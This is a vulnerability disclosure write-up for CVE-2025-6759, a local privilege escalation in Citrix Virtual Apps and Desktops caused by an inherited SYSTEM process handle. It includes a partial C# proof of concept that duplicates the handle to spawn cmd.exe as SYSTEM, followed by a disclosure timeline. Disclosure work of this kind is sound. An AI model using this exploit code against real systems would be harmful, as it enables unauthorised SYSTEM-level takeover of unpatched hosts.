CVE-2025-6759: Local Privilege Escalation in Citrix Virtual Apps and Desktops

Certitude identified a local privilege escalation vulnerability in Citrix Virtual Apps and Desktops which would allow an attacker with control of a low-privileged user within a virtual desktop to reliably escalate privileges to SYSTEM. We informed Citrix of the finding, who were already made aware of the issue two months prior. A patch and security bulletin1 was recently released.

Discovery

During a network penetration test, while logged into a virtual desktop, we noticed a Citrix process called CtxGfx.exe running in the context of our user (see Figure 1). This process seemed to have inherited a PROCESS_ALL_ACCESS handle to its parent process GfxMgr.exe (see Figure 2), which was running as SYSTEM. Due to these circumstances, it was possible to execute arbitrary code as SYSTEM by duplicating the process handle and using it to create a “child” process.

Figure 1: Our current user is the owner of the CtxGfx.exe process
Figure 2: The CtxGfx.exe process has a handle to GfxMgr.exe with PROCESS_ALL_ACCESS

Exploitation

To exploit this circumstance, we developed a custom C# program which uses Windows API functions to:

  1. Open a handle to CtxGfx.exe (OpenProcess3)
  2. Duplicate the handle CtxGfx.exe has for GfxMgr.exe (DuplicateHandle4)
  3. Create a cmd.exe process using the duplicated handle to set GfxMgr.exe as the parent process (CreateProcess5)

The partial code is listed below. Notably, a specific STARTUPINFO6 struct must be prepared which sets the parent process of the cmd.exe process (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS7) to the GfxMgr.exe process which is running as SYSTEM.

using System;
using System.Runtime.InteropServices;

namespace UpperHandle
{
    internal class Program
    {
        ...SNIP...

        static void Main(string[] args)
        {
            ...SNIP...

            IntPtr hMediumProcess = OpenProcess(ProcessAccessFlags.DuplicateHandle, false, uint.Parse(args[0]));
            IntPtr dupHandle;
            if (!DuplicateHandle(hMediumProcess, (IntPtr)uint.Parse(args[1]), GetCurrentProcess(), out dupHandle, 0x001F0000, false, 0x00000002))
            {
                Console.WriteLine("[-] ERROR: DuplicateHandle -- " + Marshal.GetLastWin32Error());
                return;
            }

            STARTUPINFOEX si = new STARTUPINFOEX();
            si.StartupInfo.cb = Marshal.SizeOf(typeof(STARTUPINFOEX));
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

            IntPtr size = IntPtr.Zero;
            InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref size);
            si.lpAttributeList = HeapAlloc(GetProcessHeap(), 0, (UIntPtr)size.ToInt32());
            InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, ref size);

            IntPtr attribute = new IntPtr(0x00020000); // PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
            IntPtr dupHandlePtr = Marshal.AllocHGlobal(IntPtr.Size);
            Marshal.WriteIntPtr(dupHandlePtr, dupHandle);
            if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, attribute, dupHandlePtr, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero))
            {
                Console.WriteLine("[-] ERROR: UpdateProcThreadAttribute -- " + Marshal.GetLastWin32Error());
                return;
            }

            bool success = CreateProcess(
                null,
                "C:\\Windows\\System32\\cmd.exe",
                IntPtr.Zero,
                IntPtr.Zero,
                true,
                0x00080000 | 0x00000010, // EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE
                IntPtr.Zero,
                null,
                ref si,
                out pi
            );
        }
    }
}

Figure 3 demonstrates successful exploitation. The first argument is the process ID of CtxGfx.exe, and the second argument is the handle ID for GfxMgr.exe, both decimal values (0x198 = 408).

Figure 3: Using our custom POC program to spawn a cmd.exe process as SYSTEM

Disclosure timeline

  • May 2025 – Issue discovered by William Moody and Edwin Schönegger.
  • May 17, 2025 – Disclosed the issue to Citrix.
  • June 13, 2025 – Citrix acknowledged the report.
  • July 7, 2025 – Citrix informed us that they were already aware of the vulnerability.
  • July 8, 2025 – Citrix released a security bulletin1.

References

  1. https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX694820
  2. https://www.rapid7.com/blog/post/cve-2025-6759-citrix-virtual-apps-and-desktops-fixed/
  3. https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
  4. https://learn.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-duplicatehandle
  5. https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
  6. https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
  7. https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute